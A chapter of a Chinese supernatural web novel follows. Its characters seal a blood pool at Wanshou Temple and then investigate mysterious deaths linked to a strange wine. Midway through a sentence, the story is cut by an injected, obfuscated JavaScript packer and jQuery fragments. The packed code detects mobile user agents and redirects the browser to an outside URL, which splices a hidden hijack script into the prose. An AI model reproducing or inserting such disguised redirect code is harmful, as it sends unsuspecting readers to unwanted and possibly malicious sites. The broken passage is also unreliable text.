小林志怪 作品

28. 万寿寺(完)

温升竹晚一步来到万寿寺中,到的时候已经不见沈天野的身影。


万寿寺中人影寥寥,肉眼可见的破败之相,温升竹踏着落叶小心翼翼前行,在一处昏暗的殿宇中看到了停放在中央的沈临风尸体。


此刻他已经安详睡着,腰腹处的伤口被用稻草和棉花填满,旁边有一位中年术士正口中念念有词,边念边在他身上书写符文。


此人即是朱兴。


听到有来人的脚步声,朱兴抬起头来,阴鸷地看向温升竹。


这是一副主人丢失的肉身。朱兴抖擞精神,提起笔来欲要朝他写去,他要把主人的东西抢回来。


温升竹反应也很快,他一转身就往门外冲。可是出乎意料,这门好像是活的,它蠕动着缓缓闭合,在温升竹接触到它的一瞬间,将他弹了回去。


他落入一片血池之中。


鼻端萦绕的血腥味道让他作呕,无边的血水淹没他的头顶让他呛得说不出话来,与之相随而生的还有难以呼吸的刺痛感,以及逐渐失去的意识。


温升竹恐慌不已,他并不会凫水,扑腾了几下反倒头脚颠倒,淹得更深。


朱兴冷冷地看着没了动静的血池,将沈临风的身体也一脚踹了进去。


血池吞了他们,符文融入其中,咕嘟咕嘟地冒出两个泡泡。每个泡泡都是包裹着一个魂魄,朱兴目光扫过,没有漏网之鱼。


温升竹、沈天野两个人并排躺在一起,犹如襁褓之中的双生婴孩,无知无觉的任人宰割。


未几,朱兴也像脱衣服一样脱去了身上的皮囊,赤条条地走出一副骨架,踩过地上蔓延出来的血水,走出了万寿寺。


年岁越大的皮囊,损耗的越快,朱兴走起来咔吧作响,越走越小,越走越小,到最后竟然缩成了一根骨头。


这时从旁边伸出一根鲜红的淌着口水的舌头,将他卷走,含在口中往前奔跑,是只尖耳的花狗。


普通的花狗和普通的骨头,放在路上不会被人看一眼,谁能想到是个血池的管理者?


总而言之,沈天野叹了口气,他们的故事很简单,无非是出师不利,刚到万寿寺就被人囫囵吞了,幸好留了个全尸,还有被崔冉救活的机会。


“让我想想,”崔冉听完他们的讲述,结合自己的经历说道,“假如血池是在很多年前就有的,它的作用是分离肉身和魂魄,那么也许事情是这样的……”


血池建在红庙之中,孕育出了虫仙,虫仙凭空获得了能力,借助虫子和实现愿望引诱了一个又一个人吞噬掉。在漫长的岁月中,红庙不知留下了多少具尸体,又灭杀了多少魂魄。直到有一日它移动到万寿寺,遇到了前来借宿的苏栩,还有月牙小满主仆两人。


彼时苏栩占卜太多,魂魄不稳,因此被血池影响,彻底身魂分离,同样的小满和月牙还有那些无辜枉死的僧人也许是遭遇了其他意外,被血池收入囊中。


死去的苏栩因为跟虫仙的交易暂时活了下来,他把肉身交换给了虫仙。虫仙得了他的身体,继承了他的欲望,孜孜不倦的重复着他的过去。


于是万寿寺就反复反复出现怪事,也因此吃掉了更多的人。


“当然这只是我的猜测,这样就可以解释为什么温公子会见到沈临风的魂魄,也许是在朱兴手中侥幸逃脱。”


至于她,看起来是误打误撞进了朱兴的身体,其实别有原因。就好像有人想要她发现一切,并且顺着已经发生的事情查下去。


“我总觉得,这平城已经不是原来的平城了。”沈天野踢飞了脚下的石子,郁闷道。


温升竹在一旁点头。


“我也有这种感觉。”他边说边回忆道,“原本走在大街上,看到人人忙碌的热闹景象会觉得温馨,但最近几日只觉得毛骨悚然,就好像有什么人在窃窃私语,盯着我看,可是真当我有所注意,这种感觉又消失不见了。”


人们仿佛有两张面孔,平日用一张,没人时就换上另一张。


“先是姚府,再是万寿寺,每一个地方出事都令人感到匪夷所思。”


“何止是匪夷所思啊,简直让人背后冒冷汗,我行走江湖这么多年,还没回来这几日遇到的怪事多!”沈天野抖抖身子,恨不得将身上的鸡皮疙瘩都抖掉。


“不对,第一个并非是姚府,而是沈家。”崔冉神色一凛。


她的话叫其他二人心上如同砸了块巨石。对啊,第一个出事的其实是沈家,沈天野无故遭遇夺身之险,沈临风身死回来送信,正因如此崔冉才会过来,他们也从此被卷入一个接一个的诡事之中。


“那我父母他们……”沈天野惊呼,他后知后觉,眉毛拧起,担心不已。


“不好说。”崔冉也摸不准,平城现在发生的事并非偶然,背后处处是人为的痕迹。妖怪作祟尚且好办,但是若是有人参与,计划一切,他们在明,那人在暗,就会很难处理。


三人沉默无言。莫名的阴影笼罩着他们。


就在这一阵沉默中,药师堂中又有咆哮声传来,嘈杂不一,崔冉推开门一看,铜钱急射而出。


叮叮咚咚打在她背后的树干上,深深地嵌了进去。


几枚铜钱根本镇不住这凶恶的血池。


“冉冉,你能把这里吞掉吗?”沈天野冷不丁地来了一句。他知道崔冉本体是蛇,也见过崔冉吞下很多小妖怪从而功力更进一步。


若是把这血池吞了呢,能不能一劳永逸?甚至还能够助她一臂之力,再上一个台阶。


崔冉对上他殷切的眼,摇了摇头。


“血池太大,里面鱼龙混杂,存着太多人混杂的血液身体,吃下去估计会撑爆我的肚子,叫我走火入魔。”崔冉解释道。


“那如果是这个呢。”沈天野从怀中摸出一只暗红的血珠。


崔冉心想果然是狗,总是叼些奇怪东西回家。


“这是什么?”崔冉接过血珠。血珠刚一入手,她就感受到了一股力量,并非十分磅礴,却也足够吸引人。


“药师堂院中有个小丹炉,我刚来的时候打开看了看,在一堆丹灰里面发现了这个,应该是剩下的。”沈天野拍拍手解释道,他的手背上还有一道浅浅的灰痕。


“平日里若是城中出现大规模感病事件,或者特殊时节,万寿寺都会派人出来施粥赠药。”温升竹也凑过来看。


刚才的铜钱削掉了他的一缕编好的鬓发,正抚过崔冉面颊。有些痒。


崔冉侧了侧身,将珠子举起来对准阳光,暗红就变得浅了,然后她丢进了口中。


竟然有些甜香。


“应该是血池主人留下的,这血池已经废弃,无人看管才会闹出事来。”她感受着一股暖流经过自己的四肢百骸,闭上眼睛,体内妖丹又长大一圈。


然后她睁开眼,灰蓝色的眼睛对准了温升竹,她启唇道:“你现在有什么感觉?”


温升竹讶然,没有这么感觉啊,顷刻他突然觉得自己面上湿漉漉一片,莫名的悲伤从心中溢出,叫他鼻子酸涩。


他背过身去,一下下擦拭着,好半天才止住。


“你能让他哭?”沈天野十分惊奇,他扭头看看温升竹又看看崔冉。


“不是让他哭,是能够引动他的情绪。”崔冉也很意外。她愿意为温升竹会害怕,会紧张,怎么会是难过?


他因为什么而难过?


温升竹却有些慌乱,他竭力压制住自己的情绪,驱散心头酸涩的感觉。其实他并非是单纯的难过,而是发现了自己竟然产生了嫉妒心。


那点嫉妒心微不足道,凭空出现,却叫他手足无措。他竟然嫉妒自己的哥哥,这样了解崔冉,这样与崔冉亲密的说话,而他只能在一旁看着。


“我从血池中把你们捞出来,你们魂魄都染了死去之人的情绪,可能会做出些反常的举动也不足为怪。”崔冉给他打圆场。


她说的确有其事,魂魄沾上东西很难移除,只能等时间推移慢慢消磨掉。


吃了珠子,他们又进去看了一眼血池,依旧在咆哮不休。


崔冉把铜钱一枚枚捡起来,她现在实力有所增长,用铜钱加上符箓,也许能够暂时压制住血池。而后续若没有补充,血池就会被慢慢消耗,失去能力。


她掏出一大把黄纸,又把从小沙弥手中得来的《祛鬼咒》打开,翻到最后一页,果然有镇守凶魂的咒术。


她照着册子运笔,一张张写完,又分别放置在药师堂的四个角上,在上面压上一枚铜钱,最后念动咒语,霎时符箓熊熊燃烧,铜钱上分散出丝丝缕缕黄色光芒织成巨网,笼罩在血池上。


成了。


封印了血池,三人才安心离开万寿寺。他们走出山门,远远回头看了一眼,修筑的精美的寺庙已经衰败,墙皮剥落渐渐缩小,现出它本来的样子。


一座爬满了蛇虫鼠蚁的暗红小庙,庙中有金光闪烁,犹如一颗跳动不休的心脏。


看他旁边的浓雾散去,露出山脉形状,沈天野喃喃道:“原来不是万寿寺,我们都被骗了!”


这是在平城西北角,偏僻荒凉,连坊市之中都人烟稀少,而万寿寺在东南角。


“是啊,我们都被骗了。”崔冉看着空旷的天空还有偶尔飞过的黑鸟。在这平城之中,他们不是第一次被骗了。


到底有什么东西影响着平城,也影响着他们?这个问题让三人心情沉重,哪怕从万寿寺中逃出也挥之不去。


————


三日过去,平城怪事连连。


譬如沈母无意中提到,昨日她有个相熟夫人死了郎君


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14987149|161281||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


,而那个男人才三十出头,身强力壮,竟然不明不白睡死在梦中。


沈母听得忧心忡忡,之后每日都有些难以入睡,生怕一觉不醒,撒手人寰。


若是在平常,沈天野也许会怀疑是那人本身有疾,或者死因见不得人,只好随便找个理由搪塞过去。可是有了前车之鉴,他不由得将这件事视作一个征兆。


而正如他所猜想,接下来接连有人死于非命,死法也是奇奇怪怪。


有半夜摸黑钓鱼,结果坐到了城墙上一失足摔下去的。城墙守卫森严,怎么会允许一个普通人上去,还拿着钓竿要钓鱼?可是询问过守城兵士,他们都是丈二和尚摸不着头脑,直言没见过此人。


也有在赏花会上死于花粉过敏的,据沈天野同去的熟人说,那人身上迅速爬满了疙瘩,又红又肿,令人不忍直视。捂着脖子嗬嗬倒下,转眼间就没了声息。


还有脱光了衣服跑到街市上大喊着火了,结果被冻死的……


如此种种,都不符合常理。人们也心里惶惶不安,生怕哪一日噩运就降临在自己头上了。


沈天野给崔冉传信,问她有没有什么头绪,正巧碰上崔冉吃了血珠正在沉睡蜕皮。


等她醒了,怪事风波已经有所平息,人们也恢复了日常生活。原本以为这件事情已经过去,可是崔冉他们知道事情既然开始,就会越演越烈,根本不会平白无故的偃旗息鼓。


起初,崔冉只是在窄巷中遇到了一个醉鬼。


他抱着瓶子,东倒西歪地朝她走来,还没等近身就一头栽倒。


崔冉本以为他是喝醉了酒昏睡过去,可是却感知到他立即没了呼吸。于是她停住脚步,用蛇尾将他身体翻了过来。


面色酡红,眼睛睁得大大的,却只剩眼白,已经死了。


一个醉死的人?


却为什么只剩眼白?


这酒有什么古怪,还是他有潜藏的病症?


崔冉拿起酒瓶,里面已经空空如也。只有一股残留的香气扑面而来,清爽至极,不像是烈酒。


而这酒瓶,与其说是瓶子,不如说是一个粗糙的手捏的陶罐。这个人不知是从哪里打的酒,装到自己的罐子里,边走边饮。


引之辄醉,醉后便死。


一个莫名的念头浮现在崔冉脑海中。


世间会有这样的琼浆玉液吗?叫一个年轻力壮之人喝多了就立刻死去?这到底是美酒还是催命符?


她收起了手中的罐子离开。


黑鸟飞过,被杂物堆满的暗巷中只有一具冰冷的尸体。他很年轻,看起来只有二十多岁的样子,现在却是死不瞑目的下场。


“你有没有见过这种酒?”崔冉把陶罐推到沈天野面前。


沈天野奇道:“你崔冉也有找酒喝的一天?让我看看是什么好东西勾住了你。”


他本有些嫌弃这陶罐粗鄙,觉得里面大概是些浊酒,看崔冉这般郑重其事接过来文了闻。瞬间清香充满身体,他仿佛吸入一条从天外垂下的冷泉,叫他精神为之一振。


接着他又皱起眉头,深吸一口道:“我怎么觉得这味道十分熟悉……”


一个罕见却令他记忆深刻的味道。他怎么想都想不起来。


“熟悉?”崔冉挑眉,“是跟我一起喝的吗?”


“好像是的,我怎么记不起来了,只记得那种感觉,甚至还记得你醉倒的样子!”沈天野挠头。


崔冉醉倒会化作一条大蛇,将他们都缠住,而沈天野会胆大包天的拽着她的尾巴打结。


“喝了就会忘记……”崔冉灵光一闪。


“而且那次你十分痛苦,不停地翻滚,快把我吓死了。”沈天野虽然不记得酒的名字,却牢牢记得从醉后醒来时看到的崔冉的模样。


“是醉生梦死!”崔冉脱口而出。


“以龙骨泡酒,所以我喝了会痛苦难捱,而寻常人则会大梦一场,忘记前尘往事,抛去烦恼忧愁。”


说是龙骨,实际上没有人亲眼见过真龙,只是千年修炼的蛇,几乎已经变作蛟龙,半只脚踏入成仙变龙的境界,被人杀了剥皮取骨,对于修行之人是大补之物,但是对于崔冉无疑是穿肠毒药。


同族相食,又是灵物,崔冉只喝了一口就染上了不属于她的因果,被雷追着劈了三个山头。肠中犹如刀绞,叫她再也不敢好奇。


“可是这酒……并非醉生梦死的味道。”残余的酒香已经快要消失殆尽。崔冉却觉得它和自己印象中的醉生梦死还要差上一些。所以她才没有分辨出来。


至少不是龙骨,也非千年灵蛇。


“看来,我们要去找一找这酿酒之人了。”沈天野与她四目相对,当即拍案决定。


“不,先去看看睡死之人。”崔冉却改变了主意。